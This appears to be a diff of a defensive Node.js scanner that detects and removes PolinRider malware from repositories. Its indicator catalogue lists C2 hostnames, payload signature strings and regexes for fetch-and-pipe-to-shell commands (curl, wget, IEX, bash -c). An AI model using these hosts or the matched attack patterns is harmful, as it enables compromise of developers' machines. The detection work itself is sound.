const rel = path.relative(repoRoot || repoDir, abs) || relFile;
|
||||
return rel.split(path.sep).join("/");
|
||||
}
|
||||
|
||||
/**
|
||||
* @param {import('./scanner.js').Findings} findings
|
||||
* @param {{ repoRoot?: string, repoDir?: string }} [opts]
|
||||
*/
|
||||
export function buildSarif(findings, opts = {}) {
|
||||
const root = opts.repoRoot || opts.repoDir || findings.repoDir;
|
||||
const dir = opts.repoDir || findings.repoDir || root;
|
||||
|
||||
const rules = new Map();
|
||||
const results = findings.findings.map((f) => {
|
||||
if (!rules.has(f.id)) {
|
||||
rules.set(f.id, {
|
||||
id: f.id,
|
||||
name: f.id,
|
||||
shortDescription: { text: `PolinRider ${f.category} artifact` },
|
||||
fullDescription: { text: f.description },
|
||||
defaultConfiguration: { level: levelOf(f) },
|
||||
helpUri: PROJECT_URL,
|
||||
properties: { tags: ["security", "malware", "polinrider", f.category] },
|
||||
});
|
||||
}
|
||||
return {
|
||||
ruleId: f.id,
|
||||
level: levelOf(f),
|
||||
message: { text: f.description },
|
||||
locations: [
|
||||
{
|
||||
physicalLocation: {
|
||||
artifactLocation: { uri: uriFor(root, dir, f.file) },
|
||||
region: { startLine: lineFor(dir, f) },
|
||||
},
|
||||
},
|
||||
],
|
||||
properties: {
|
||||
confidence: f.confidence,
|
||||
contentConfirmed: f.contentConfirmed,
|
||||
action: f.action,
|
||||
},
|
||||
};
|
||||
});
|
||||
|
||||
return {
|
||||
$schema: "https://json.schemastore.org/sarif-2.1.0.json",
|
||||
version: "2.1.0",
|
||||
runs: [
|
||||
{
|
||||
tool: {
|
||||
driver: {
|
||||
name: "polinrider-cleanup",
|
||||
informationUri: PROJECT_URL,
|
||||
rules: [...rules.values()],
|
||||
},
|
||||
},
|
||||
results,
|
||||
},
|
||||
],
|
||||
};
|
||||
}
|
||||
+528
@@ -0,0 +1,528 @@
|
||||
/**
|
||||
* PolinRider detection. Produces a structured Findings report consumed by the
|
||||
* remediator and the reporter. PURE with respect to the target repo: it only
|
||||
* reads files (as inert text/bytes) and pattern-matches. It never executes
|
||||
* target content, spawns processes, or makes network calls.
|
||||
*
|
||||
* Detection is CONTENT-CONFIRMED: a repo is marked `infected` only when a known
|
||||
* signature / IOC actually matches. The mere co-presence of tasks.json +
|
||||
* launch.json + public/fonts raises `coPresenceAmplified` (a reporting hint) but
|
||||
* never, on its own, marks a repo infected or produces a removable finding.
|
||||
*
|
||||
* @typedef {Object} Finding
|
||||
* @property {string} id
|
||||
* @property {'js'|'vscode'|'font'|'package'|'artifact'|'gitignore'} category
|
||||
* @property {string} file repo-relative path
|
||||
* @property {'high'|'low'} confidence
|
||||
* @property {'strip-js-payload'|'edit-vscode'|'delete-font'|'remove-font-set'|'remove-dir'|'remove-artifact'|'fix-gitignore'|'manual-review'} action
|
||||
* @property {boolean} contentConfirmed true only when a known signature matched
|
||||
* @property {string} description
|
||||
* @property {Object} [edit] action parameters for the remediator
|
||||
*
|
||||
* @typedef {Object} Findings
|
||||
* @property {string} repoDir
|
||||
* @property {'clean'|'suspicious'|'infected'} severity
|
||||
* @property {boolean} hasContentConfirmed
|
||||
* @property {boolean} coPresenceAmplified
|
||||
* @property {Finding[]} findings
|
||||
* @property {string[]} manualReview
|
||||
*/
|
||||
|
||||
import fs from "node:fs/promises";
|
||||
import { existsSync } from "node:fs";
|
||||
import path from "node:path";
|
||||
import * as sig from "./signatures.js";
|
||||
import { parseJsonc, getMember } from "./jsonc.js";
|
||||
import { collectByExtension } from "./walk.js";
|
||||
import { looksSuspicious, collectFontReferences, isReferenced } from "./fonts.js";
|
||||
import { buildExcluder } from "./exclude.js";
|
||||
|
||||
/**
|
||||
* Scan a single repository directory.
|
||||
* @param {string} repoDir
|
||||
* @param {{ exclude?: string[]|string }} [opts] paths/globs to skip (repo-relative).
|
||||
* Useful so a repo can scan itself while ignoring files that legitimately
|
||||
* contain signatures (e.g. this tool's own src/signatures.js + fixtures).
|
||||
* @returns {Promise<Findings>}
|
||||
*/
|
||||
export async function scanRepo(repoDir, opts = {}) {
|
||||
const findings = [];
|
||||
const rel = (p) => path.relative(repoDir, p) || path.basename(p);
|
||||
const matchExcluded = buildExcluder(opts.exclude);
|
||||
const isExcluded = (abs) =>
|
||||
matchExcluded(path.relative(repoDir, abs).split(path.sep).join("/"));
|
||||
|
||||
await detectJsPayloads(repoDir, findings, rel, isExcluded);
|
||||
await detectVscode(repoDir, findings, rel, isExcluded);
|
||||
await detectFonts(repoDir, findings, rel, isExcluded);
|
||||
await detectPackageJson(repoDir, findings, isExcluded);
|
||||
await detectArtifacts(repoDir, findings, isExcluded);
|
||||
|
||||
const coPresenceAmplified =
|
||||
existsSync(path.join(repoDir, ".vscode", "tasks.json")) &&
|
||||
existsSync(path.join(repoDir, ".vscode", "launch.json")) &&
|
||||
sig.FONT_DIRS.some((d) => existsSync(path.join(repoDir, d)));
|
||||
|
||||
const hasContentConfirmed = findings.some((f) => f.contentConfirmed);
|
||||
let severity = "clean";
|
||||
if (hasContentConfirmed) severity = "infected";
|
||||
else if (findings.length > 0 || coPresenceAmplified) severity = "suspicious";
|
||||
|
||||
const manualReview = findings
|
||||
.filter((f) => f.action === "manual-review")
|
||||
.map((f) => `${f.file}: ${f.description}`);
|
||||
|
||||
return { repoDir, severity, hasContentConfirmed, coPresenceAmplified, findings, manualReview };
|
||||
}
|
||||
|
||||
// ─── JS payload (appended obfuscated blob) ──────────────────────────────────────
|
||||
|
||||
/** Find the byte offset where the appended payload begins, or -1. */
|
||||
export function locatePayloadOffset(text, variant) {
|
||||
let lastExport = -1;
|
||||
const re = new RegExp(sig.EXPORT_MARKER_RE.source, "g");
|
||||
let m;
|
||||
while ((m = re.exec(text))) lastExport = m.index;
|
||||
const from = lastExport >= 0 ? lastExport : 0;
|
||||
const tailMatch = new RegExp(variant.startRe.source).exec(text.slice(from));
|
||||
if (tailMatch) return from + tailMatch.index;
|
||||
const anyMatch = new RegExp(variant.startRe.source).exec(text);
|
||||
return anyMatch ? anyMatch.index : -1;
|
||||
}
|
||||
|
||||
async function detectJsPayloads(repoDir, findings, rel, isExcluded) {
|
||||
const files = await collectByExtension(repoDir, sig.JS_EXTENSIONS);
|
||||
for (const file of files) {
|
||||
if (isExcluded(file)) continue;
|
||||
let text;
|
||||
try {
|
||||
text = await fs.readFile(file, "utf8");
|
||||
} catch {
|
||||
continue;
|
||||
}
|
||||
|
||||
// 1. Known variants — content-confirmed via signature + a numeric seed.
|
||||
let matchedKnown = false;
|
||||
for (const variant of sig.JS_VARIANTS) {
|
||||
const confirmed =
|
||||
text.includes(variant.signature) && variant.seeds.some((s) => text.includes(s));
|
||||
if (!confirmed) continue;
|
||||
matchedKnown = true;
|
||||
const offset = locatePayloadOffset(text, variant);
|
||||
const canStrip = offset > 0;
|
||||
findings.push({
|
||||
id: `js.payload.${variant.id}`,
|
||||
category: "js",
|
||||
file: rel(file),
|
||||
confidence: "high",
|
||||
action: canStrip ? "strip-js-payload" : "manual-review",
|
||||
contentConfirmed: true,
|
||||
description: canStrip
|
||||
? `${variant.label} appended at offset ${offset} — will strip from there to EOF`
|
||||
: `${variant.label} detected but its start offset could not be located safely — strip manually`,
|
||||
edit: canStrip ? { absPath: file, offset, variantId: variant.id } : undefined,
|
||||
});
|
||||
break; // one variant finding per file is enough
|
||||
}
|
||||
if (matchedKnown) continue;
|
||||
|
||||
// 2. Generic heuristic for UNKNOWN variants → manual review only, never auto-strip.
|
||||
let lastExport = -1;
|
||||
const re = new RegExp(sig.EXPORT_MARKER_RE.source, "g");
|
||||
let m;
|
||||
while ((m = re.exec(text))) lastExport = m.index;
|
||||
const tail = lastExport >= 0 ? text.slice(lastExport) : text;
|
||||
const h = sig.GENERIC_HEURISTIC;
|
||||
if (h.globalAssignRe.test(tail) && h.obfArrayRe.test(tail) && h.evalRe.test(tail)) {
|
||||
findings.push({
|
||||
id: "js.payload.heuristic",
|
||||
category: "js",
|
||||
file: rel(file),
|
||||
confidence: "low",
|
||||
action: "manual-review",
|
||||
contentConfirmed: false,
|
||||
description:
|
||||
"Obfuscated code appended after the last export (global[...] assignment + obfuscated array + eval). Possible unknown PolinRider variant — review manually.",
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ─── .vscode task / launch weaponization ────────────────────────────────────────
|
||||
|
||||
/** Decide whether one task/launch entry is malicious. */
|
||||
export function classifyVscodeEntry(entryValue) {
|
||||
const hay = JSON.stringify(entryValue ?? "");
|
||||
if (sig.isC2Host(hay)) return { bad: true, reason: "references a known PolinRider C2 host" };
|
||||
if (sig.isFetchToShell(hay))
|
||||
return { bad: true, reason: "fetches a remote script and pipes it to a shell" };
|
||||
if (sig.commandExecutesAsset(hay))
|
||||
return { bad: true, reason: "executes a font/asset file as code (e.g. `node ./public/fonts/…`)" };
|
||||
if (entryValue?.runOptions?.runOn === "folderOpen") {
|
||||
if (sig.ANY_URL_RE.test(hay))
|
||||
return { bad: true, reason: "auto-runs on folderOpen and contacts an external URL" };
|
||||
if (sig.INTERPRETER_RE.test(hay))
|
||||
return { bad: true, reason: "auto-runs a script interpreter on folderOpen" };
|
||||
}
|
||||
return { bad: false };
|
||||
}
|
||||
|
||||
async function detectVscode(repoDir, findings, rel, isExcluded) {
|
||||
const vscodeDir = path.join(repoDir, ".vscode");
|
||||
if (!existsSync(vscodeDir) || isExcluded(vscodeDir)) return;
|
||||
|
||||
const targets = [
|
||||
{ name: "tasks.json", arrayKey: "tasks" },
|
||||
{ name: "launch.json", arrayKey: "configurations" },
|
||||
];
|
||||
const reasons = new Set();
|
||||
|
||||
for (const { name, arrayKey } of targets) {
|
||||
const file = path.join(vscodeDir, name);
|
||||
if (!existsSync(file) || isExcluded(file)) continue;
|
||||
let text;
|
||||
try {
|
||||
text = await fs.readFile(file, "utf8");
|
||||
} catch {
|
||||
continue;
|
||||
}
|
||||
const parsed = parseJsonc(text);
|
||||
if (!parsed.ok) {
|
||||
// Can't parse → fall back to scanning the raw text for malicious markers.
|
||||
if (sig.isC2Host(text) || sig.isFetchToShell(text) || sig.commandExecutesAsset(text)) {
|
||||
reasons.add(`malicious content in ${name}`);
|
||||
}
|
||||
continue;
|
||||
}
|
||||
const arr = Array.isArray(parsed.value?.[arrayKey]) ? parsed.value[arrayKey] : [];
|
||||
for (const entry of arr) {
|
||||
const c = classifyVscodeEntry(entry);
|
||||
if (c.bad) reasons.add(`${name}: ${c.reason}`);
|
||||
}
|
||||
}
|
||||
|
||||
if (reasons.size === 0) return;
|
||||
// Policy: any malicious .vscode entry → remove the entire .vscode directory.
|
||||
findings.push({
|
||||
id: "vscode.malicious",
|
||||
category: "vscode",
|
||||
file: ".vscode",
|
||||
confidence: "high",
|
||||
action: "remove-dir",
|
||||
contentConfirmed: true,
|
||||
description: `Malicious .vscode configuration (${[...reasons].join("; ")}) — removing the entire .vscode directory`,
|
||||
edit: { absPath: vscodeDir },
|
||||
});
|
||||
}
|
||||
|
||||
// ─── Font payload carriers ───────────────────────────────────────────────────────
|
||||
|
||||
/** Map a font file to the fonts directory that should be removed wholesale, or null. */
|
||||
export function fontDirToRemove(repoDir, fontAbsPath) {
|
||||
const parts = path.relative(repoDir, fontAbsPath).split(path.sep);
|
||||
const idx = parts.lastIndexOf("fonts");
|
||||
if (idx >= 0) return path.join(repoDir, ...parts.slice(0, idx + 1)); // .../fonts
|
||||
return null; // not inside a fonts/ dir → caller falls back to deleting the file
|
||||
}
|
||||
|
||||
async function detectFonts(repoDir, findings, rel, isExcluded) {
|
||||
const fontFiles = await collectByExtension(repoDir, sig.FONT_EXTENSIONS);
|
||||
if (fontFiles.length === 0) return;
|
||||
const haystack = await collectFontReferences(repoDir);
|
||||
|
||||
// Group fonts by their leaf `fonts/` dir. A dir is tracked when it holds either a
|
||||
// suspicious font OR a Font-Awesome-named font (the malware's disguise names).
|
||||
const groups = new Map(); // absDir → { confirmed:[], suspect:[] }
|
||||
const orphans = []; // suspicious/fa fonts with no fonts/ ancestor
|
||||
|
||||
const ensureGroup = (dir) => {
|
||||
if (!groups.has(dir)) groups.set(dir, { confirmed: [], suspect: [] });
|
||||
return groups.get(dir);
|
||||
};
|
||||
|
||||
for (const file of fontFiles) {
|
||||
if (isExcluded(file)) continue;
|
||||
const isFa = sig.isFaFamilyName(path.basename(file));
|
||||
let susp;
|
||||
try {
|
||||
susp = looksSuspicious(await fs.readFile(file), path.extname(file));
|
||||
} catch {
|
||||
continue;
|
||||
}
|
||||
const referenced = isReferenced(haystack, file);
|
||||
const isCarrier = susp.bad && susp.hasCodeStrings; // not a valid font + code payload
|
||||
const dir = fontDirToRemove(repoDir, file);
|
||||
|
||||
// Referenced fonts are wired into the build, so they are never auto-deleted.
|
||||
// But "referenced" is not a clean bill of health: a referenced file that is
|
||||
// NOT a valid font yet carries a code payload is a carrier hiding in plain
|
||||
// sight → surface it for manual review rather than silently trusting it.
|
||||
if (referenced) {
|
||||
if (isCarrier) {
|
||||
findings.push({
|
||||
id: "font.referenced-carrier",
|
||||
category: "font",
|
||||
file: rel(file),
|
||||
confidence: "high",
|
||||
action: "manual-review",
|
||||
contentConfirmed: false,
|
||||
description: `Referenced file that is not a valid font but contains a code payload (${susp.reasons.join("; ")}). It is imported by the build, so it is not auto-removed — review and remove it manually.`,
|
||||
});
|
||||
}
|
||||
// A referenced fa-named font still registers its dir so the disguise (medium)
|
||||
// check fires, but it is never treated as a deletable carrier.
|
||||
if (isFa && dir) ensureGroup(dir);
|
||||
continue;
|
||||
}
|
||||
|
||||
if (!susp.bad && !isFa) continue; // valid, inert, non-disguise, unreferenced → leave it
|
||||
|
||||
const entry = { file, reasons: susp.reasons };
|
||||
if (dir) {
|
||||
const g = ensureGroup(dir);
|
||||
if (isCarrier) g.confirmed.push(entry);
|
||||
else if (susp.bad) g.suspect.push(entry);
|
||||
// (fa-named-but-valid fonts add nothing here; emit() re-discovers them by name)
|
||||
} else if (isCarrier) {
|
||||
orphans.push({ ...entry, kind: "carrier" });
|
||||
} else if (susp.bad || isFa) {
|
||||
orphans.push({ ...entry, kind: "review", isFa });
|
||||
}
|
||||
}
|
||||
|
||||
for (const [dir, group] of groups) {
|
||||
await emitFontDirFinding(dir, group, findings, rel, isExcluded);
|
||||
}
|
||||
|
||||
// Fonts outside any `fonts/` dir: a confirmed carrier is deleted on its own; a
|
||||
// bare fa-named or unrecognized file is flagged for manual review only.
|
||||
for (const o of orphans) {
|
||||
if (o.kind === "carrier") {
|
||||
findings.push({
|
||||
id: "font.carrier",
|
||||
category: "font",
|
||||
file: rel(o.file),
|
||||
confidence: "high",
|
||||
action: "delete-font",
|
||||
contentConfirmed: true,
|
||||
description: `Unreferenced font carrier (JS payload): ${o.reasons.join("; ")}`,
|
||||
edit: { absPath: o.file },
|
||||
});
|
||||
} else {
|
||||
findings.push({
|
||||
id: "font.review",
|
||||
category: "font",
|
||||
file: rel(o.file),
|
||||
confidence: "low",
|
||||
action: "manual-review",
|
||||
contentConfirmed: false,
|
||||
description: o.isFa
|
||||
? "Font-Awesome-named font (a known PolinRider disguise) with no payload detected — review manually."
|
||||
: `Unreferenced file that is not a valid font (${o.reasons.join("; ")}) — review manually.`,
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* List everything under `dir`. `allEntries` includes files, sub-directories AND
|
||||
* symlinks (symlinks are recorded but never followed, matching the walker's safety
|
||||
* guarantee); `regularFiles` are the real files only — the pool we may remove.
|
||||
*/
|
||||
async function listTree(dir) {
|
||||
const allEntries = [];
|
||||
const regularFiles = [];
|
||||
const rec = async (d) => {
|
||||
let entries;
|
||||
try {
|
||||
entries = await fs.readdir(d, { withFileTypes: true });
|
||||
} catch {
|
||||
return;
|
||||
}
|
||||
for (const ent of entries) {
|
||||
const full = path.join(d, ent.name);
|
||||
allEntries.push(full);
|
||||
if (ent.isSymbolicLink()) continue; // counts as "present", but not followed or removed
|
||||
if (ent.isDirectory()) await rec(full);
|
||||
else if (ent.isFile()) regularFiles.push(full);
|
||||
}
|
||||
};
|
||||
await rec(dir);
|
||||
return { allEntries, regularFiles };
|
||||
}
|
||||
|
||||
/**
|
||||
* Decide what to remove for one `fonts/` directory that contains a suspicious or
|
||||
* disguise-named font.
|
||||
*
|
||||
* - A confirmed carrier (unreferenced JS payload) makes the dir `infected`: remove
|
||||
* the carrier(s) PLUS the whole `fa-*` disguise set PLUS README sidecars. If that
|
||||
* set is the entire directory, remove the directory; otherwise remove just those
|
||||
* files and keep the clean fonts.
|
||||
* - No carrier but `fa-*` names present (or an unrecognized blob) → `suspicious`
|
||||
* manual-review only; nothing is auto-removed.
|
||||
*/
|
||||
async function emitFontDirFinding(dir, group, findings, rel, isExcluded) {
|
||||
// Enumerate the dir INCLUDING symlinks and sub-directory entries. `allEntries`
|
||||
// is used only to decide "is anything here besides the removal set?" — a symlink
|
||||
// or a sub-directory (e.g. a clean gill-sans/) must count so we never escalate to
|
||||
// a whole-dir removal that would take a clean font with it. `regularFiles` is the
|
||||
// pool of real files we may actually remove.
|
||||
const { allEntries, regularFiles } = await listTree(dir);
|
||||
const faAll = regularFiles.filter((f) => !isExcluded(f) && sig.isFaFamilyName(path.basename(f)));
|
||||
|
||||
if (group.confirmed.length > 0) {
|
||||
const carrierReasons = [...new Set(group.confirmed.flatMap((e) => e.reasons))].join("; ");
|
||||
// Scope the disguise sweep to the carrier's OWN directory: remove fa-* files and
|
||||
// README sidecars that sit beside a carrier, never ones in a nested clean subdir.
|
||||
const carrierDirs = new Set(group.confirmed.map((e) => path.dirname(e.file)));
|
||||
const inScope = (f) => carrierDirs.has(path.dirname(f)) && !isExcluded(f);
|
||||
const faFiles = faAll.filter(inScope);
|
||||
const sidecars = regularFiles.filter((f) => inScope(f) && sig.isFontDropSidecar(path.basename(f)));
|
||||
|
||||
const removalAbs = new Set([...group.confirmed.map((e) => e.file), ...faFiles, ...sidecars]);
|
||||
const remaining = allEntries.filter((f) => !removalAbs.has(f)); // anything clean to preserve
|
||||
|
||||
if (remaining.length === 0) {
|
||||
findings.push({
|
||||
id: "font.carrier-dir",
|
||||
category: "font",
|
||||
file: rel(dir),
|
||||
confidence: "high",
|
||||
action: "remove-dir",
|
||||
contentConfirmed: true,
|
||||
description: `Font carrier(s) found — removing the entire ${rel(dir)} directory (${carrierReasons})`,
|
||||
edit: { absPath: dir },
|
||||
});
|
||||
} else {
|
||||
const removals = [...removalAbs].map((abs) => ({ abs, rel: rel(abs) }));
|
||||
findings.push({
|
||||
id: "font.carrier-set",
|
||||
category: "font",
|
||||
file: rel(dir),
|
||||
confidence: "high",
|
||||
action: "remove-font-set",
|
||||
contentConfirmed: true,
|
||||
description:
|
||||
`Font carrier(s) in ${rel(dir)} (${carrierReasons}) — removing ${removals.length} ` +
|
||||
`malicious/disguise file(s): ${removals.map((r) => path.basename(r.rel)).join(", ")}. ` +
|
||||
`Preserving ${remaining.length} clean entr${remaining.length === 1 ? "y" : "ies"}.`,
|
||||
edit: { removals },
|
||||
});
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
// No confirmed carrier: fa-disguise names and/or an unrecognized blob → medium.
|
||||
const bits = [];
|
||||
if (faAll.length) {
|
||||
bits.push(
|
||||
`Font-Awesome-named font(s) present (${faAll.map((f) => path.basename(f)).join(", ")}) — a known PolinRider disguise`,
|
||||
);
|
||||
}
|
||||
if (group.suspect.length) {
|
||||
bits.push(`unrecognized non-font file(s): ${group.suspect.map((e) => path.basename(e.file)).join(", ")}`);
|
||||
}
|
||||
if (bits.length === 0) return;
|
||||
findings.push({
|
||||
id: "font.review",
|
||||
category: "font",
|
||||
file: rel(dir),
|
||||
confidence: "low",
|
||||
action: "manual-review",
|
||||
contentConfirmed: false,
|
||||
description: `${bits.join("; ")}. No payload detected — review manually to confirm these are legitimate.`,
|
||||
});
|
||||
}
|
||||
|
||||
// ─── package.json impostor deps / malicious lifecycle scripts ────────────────────
|
||||
|
||||
async function detectPackageJson(repoDir, findings, isExcluded) {
|
||||
const file = path.join(repoDir, "package.json");
|
||||
if (!existsSync(file) || isExcluded(file)) return;
|
||||
let pkg;
|
||||
try {
|
||||
pkg = JSON.parse(await fs.readFile(file, "utf8"));
|
||||
} catch {
|
||||
return; // malformed package.json — out of scope here
|
||||
}
|
||||
const depSections = ["dependencies", "devDependencies", "optionalDependencies", "peerDependencies"];
|
||||
const impostors = new Set();
|
||||
for (const section of depSections) {
|
||||
const deps = pkg[section];
|
||||
if (!deps || typeof deps !== "object") continue;
|
||||
for (const name of Object.keys(deps)) {
|
||||
if (sig.IMPOSTOR_DEPS.includes(name)) impostors.add(name);
|
||||
}
|
||||
}
|
||||
if (impostors.size > 0) {
|
||||
findings.push({
|
||||
id: "package.impostor-deps",
|
||||
category: "package",
|
||||
file: "package.json",
|
||||
confidence: "high",
|
||||
action: "manual-review",
|
||||
contentConfirmed: true,
|
||||
description: `Known PolinRider impostor dependenc${impostors.size === 1 ? "y" : "ies"}: ${[...impostors].join(", ")}. Remove the package(s) and audit lockfiles manually.`,
|
||||
});
|
||||
}
|
||||
|
||||
const scripts = pkg.scripts && typeof pkg.scripts === "object" ? pkg.scripts : {};
|
||||
for (const hook of sig.SUSPICIOUS_LIFECYCLE_SCRIPTS) {
|
||||
const cmd = scripts[hook];
|
||||
if (typeof cmd === "string" && (sig.isFetchToShell(cmd) || /\bnode\b\s+-e\b/i.test(cmd))) {
|
||||
findings.push({
|
||||
id: `package.script.${hook}`,
|
||||
category: "package",
|
||||
file: "package.json",
|
||||
confidence: "high",
|
||||
action: "manual-review",
|
||||
contentConfirmed: true,
|
||||
description: `"${hook}" lifecycle script fetches and executes remote code: ${cmd}`,
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ─── Standalone artifacts + .gitignore injection ─────────────────────────────────
|
||||
|
||||
async function detectArtifacts(repoDir, findings, isExcluded) {
|
||||
for (const name of sig.ARTIFACT_FILES) {
|
||||
if (existsSync(path.join(repoDir, name)) && !isExcluded(path.join(repoDir, name))) {
|
||||
findings.push({
|
||||
id: `artifact.${name}`,
|
||||
category: "artifact",
|
||||
file: name,
|
||||
confidence: "high",
|
||||
action: "remove-artifact",
|
||||
contentConfirmed: true,
|
||||
description:
|
||||
name === "config.bat"
|
||||
? "Hidden malware orchestrator"
|
||||
: "Malware propagation script",
|
||||
edit: { absPath: path.join(repoDir, name) },
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
const gitignore = path.join(repoDir, ".gitignore");
|
||||
if (existsSync(gitignore) && !isExcluded(gitignore)) {
|
||||
try {
|
||||
const lines = (await fs.readFile(gitignore, "utf8")).split(/\r?\n/).map((l) => l.trim());
|
||||
const injected = sig.GITIGNORE_INJECTED.filter((p) => lines.includes(p));
|
||||
if (injected.length) {
|
||||
findings.push({
|
||||
id: "gitignore.injected",
|
||||
category: "gitignore",
|
||||
file: ".gitignore",
|
||||
confidence: "high",
|
||||
action: "fix-gitignore",
|
||||
contentConfirmed: true,
|
||||
description: `malware-injected .gitignore entr${injected.length === 1 ? "y" : "ies"}: ${injected.join(", ")}`,
|
||||
});
|
||||
}
|
||||
} catch {
|
||||
/* ignore */
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,258 @@
|
||||
/**
|
||||
* PolinRider indicator-of-compromise (IOC) catalog.
|
||||
*
|
||||
* This module is PURE DATA plus a few side-effect-free helpers. It performs
|
||||
* NO file I/O, NO network access, and NEVER executes any string. Detection and
|
||||
* remediation logic lives in scanner.js / remediator.js and consumes these.
|
||||
*
|
||||
* Update this file as the malware rotates its signatures — it is the single
|
||||
* source of truth that scanner, remediator, and the tests all read from.
|
||||
*/
|
||||
|
||||
// ─── JS payload variants ──────────────────────────────────────────────────────
|
||||
//
|
||||
// PolinRider appends one obfuscated blob to the END of a file, after the last
|
||||
// legitimate `export default` / `module.exports`. A variant is "content
|
||||
// confirmed" only when its unique `signature` AND at least one of its numeric
|
||||
// `seeds` are present — never on a bare `global[...]` substring (which appears
|
||||
// in plenty of legitimate code). `startRe` locates the first byte of the
|
||||
// appended blob so the remediator can strip exactly from there to EOF.
|
||||
|
||||
export const JS_VARIANTS = [
|
||||
{
|
||||
id: "original",
|
||||
label: "PolinRider payload (original variant)",
|
||||
confidence: "high",
|
||||
signature: "rmcej%otb%", // appears as ("rmcej%otb%",2857687)
|
||||
decoder: "_$_1e42",
|
||||
seeds: ["2857687", "2667686"],
|
||||
startRe: /global\s*\[\s*(['"])!\1\s*\]\s*=/,
|
||||
},
|
||||
{
|
||||
id: "rotated",
|
||||
label: "PolinRider payload (rotated variant)",
|
||||
confidence: "high",
|
||||
signature: "Cot%3t=shtP",
|
||||
decoder: "MDy",
|
||||
seeds: ["1111436", "3896884"],
|
||||
startRe: /global\s*\[\s*(['"])_V\1\s*\]\s*=/,
|
||||
},
|
||||
];
|
||||
|
||||
// Marks the end of legitimate code; the payload is appended after the LAST one.
|
||||
export const EXPORT_MARKER_RE = /(?:export\s+default|module\.exports)/g;
|
||||
|
||||
// Low-confidence heuristic for UNKNOWN future variants. When an obfuscated blob
|
||||
// is appended after the exports, we flag it for MANUAL REVIEW only — never an
|
||||
// automatic strip (avoids damaging legitimate-but-unusual code).
|
||||
export const GENERIC_HEURISTIC = {
|
||||
globalAssignRe: /global\s*\[\s*(['"]).{1,12}?\1\s*\]\s*=/,
|
||||
obfArrayRe: /\bvar\s+_\$?_?[A-Za-z0-9$_]+\s*=\s*\[/, // e.g. var _$_1e42=[...]
|
||||
evalRe: /\beval\s*\(/,
|
||||
};
|
||||
|
||||
export const JS_EXTENSIONS = [".js", ".jsx", ".ts", ".tsx", ".mjs", ".cjs"];
|
||||
|
||||
// Config files PolinRider is documented to target. Used for labeling/priority;
|
||||
// the scanner sweeps all JS/TS files regardless (content-confirmed = no FPs).
|
||||
export const CONFIG_FILES = [
|
||||
"postcss.config.mjs",
|
||||
"postcss.config.js",
|
||||
"tailwind.config.js",
|
||||
"eslint.config.mjs",
|
||||
"next.config.mjs",
|
||||
"next.config.ts",
|
||||
"babel.config.js",
|
||||
"jest.config.js",
|
||||
];
|
||||
|
||||
// ─── .vscode task/launch weaponization ─────────────────────────────────────────
|
||||
//
|
||||
// Malicious tasks fetch a remote script and pipe it to a shell, often auto-run
|
||||
// via runOptions.runOn = "folderOpen". Legitimate tasks run LOCAL commands
|
||||
// (npm run build, tsc, etc.) and are never flagged.
|
||||
|
||||
export const C2_HOSTS = [
|
||||
"default-configuration.vercel.app",
|
||||
"vscode-settings-bootstrap.vercel.app",
|
||||
"vscode-settings-config.vercel.app",
|
||||
"vscode-bootstrapper.vercel.app",
|
||||
"vscode-load-config.vercel.app",
|
||||
"260120.vercel.app",
|
||||
];
|
||||
|
||||
// Broader patterns for sibling C2 domains in the same family.
|
||||
export const C2_HOST_RES = [
|
||||
/vscode-settings-[a-z0-9-]*\.vercel\.app/i,
|
||||
/vscode-[a-z0-9-]*(?:config|bootstrap|loader?)[a-z0-9-]*\.vercel\.app/i,
|
||||
];
|
||||
|
||||
// A remote fetch (downloads code from the network).
|
||||
export const NET_FETCH_RES = [
|
||||
/\bcurl\b/i,
|
||||
/\bwget\b/i,
|
||||
/\bInvoke-WebRequest\b/i,
|
||||
/\biwr\b/i,
|
||||
/\bNew-Object\s+Net\.WebClient/i,
|
||||
/\bDownloadString\b/i,
|
||||
];
|
||||
|
||||
// Piping/handing fetched bytes to an interpreter (executes downloaded code).
|
||||
export const PIPE_SHELL_RES = [
|
||||
/\|\s*(?:bash|sh|zsh|dash)\b/i,
|
||||
/\b(?:bash|sh|zsh|dash)\s+-c\b/i,
|
||||
/\bIEX\b/i, // PowerShell Invoke-Expression
|
||||
/\bInvoke-Expression\b/i,
|
||||
/\bnode\b\s+-e\b/i,
|
||||
/\beval\b/i,
|
||||
];
|
||||
|
||||
export const ANY_URL_RE = /https?:\/\/[^\s"'`)]+/i;
|
||||
|
||||
// A raw script interpreter (as opposed to a package-manager wrapper like npm).
|
||||
export const INTERPRETER_RE =
|
||||
/\b(?:node|deno|bun|python3?|ruby|php|osascript|bash|sh|zsh|dash|pwsh|powershell|cmd)\b/i;
|
||||
|
||||
// Running an interpreter against an asset/font path — never legitimate. This is
|
||||
// the real PolinRider .vscode vector: a folderOpen task does `node ./public/fonts/x.woff2`.
|
||||
export const ASSET_EXEC_RE =
|
||||
/(?:public[\\/]+fonts|[\\/]fonts[\\/]|\bstatic[\\/]|\bassets[\\/])|\.(?:woff2?|ttf|eot|otf)\b/i;
|
||||
|
||||
// ─── Font payload carrier ──────────────────────────────────────────────────────
|
||||
//
|
||||
// A font dropped into public/fonts that no CSS/HTML/JS references AND whose
|
||||
// bytes don't look like a real font (bad magic) or contain JS-like strings.
|
||||
|
||||
export const FONT_EXTENSIONS = [".woff2", ".woff", ".ttf", ".otf", ".eot", ".ttc"];
|
||||
|
||||
// First 4 bytes of a legitimate font file, keyed by format.
|
||||
export const FONT_MAGIC = {
|
||||
woff2: [0x77, 0x4f, 0x46, 0x32], // wOF2
|
||||
woff: [0x77, 0x4f, 0x46, 0x46], // wOFF
|
||||
otf: [0x4f, 0x54, 0x54, 0x4f], // OTTO
|
||||
ttf: [0x00, 0x01, 0x00, 0x00],
|
||||
ttc: [0x74, 0x74, 0x63, 0x66], // ttcf
|
||||
true: [0x74, 0x72, 0x75, 0x65], // 'true' (legacy TrueType)
|
||||
eot: null, // EOT has no single stable magic; treat presence-only
|
||||
};
|
||||
|
||||
// Code-execution strings that should NEVER appear in a real font file. These are
|
||||
// the signal that an unparseable "font" is actually an appended JS payload.
|
||||
//
|
||||
// NOTE: plain URLs and long base64-looking runs are deliberately NOT here — real
|
||||
// fonts legitimately embed license/vendor URLs in their `name` table, and binary
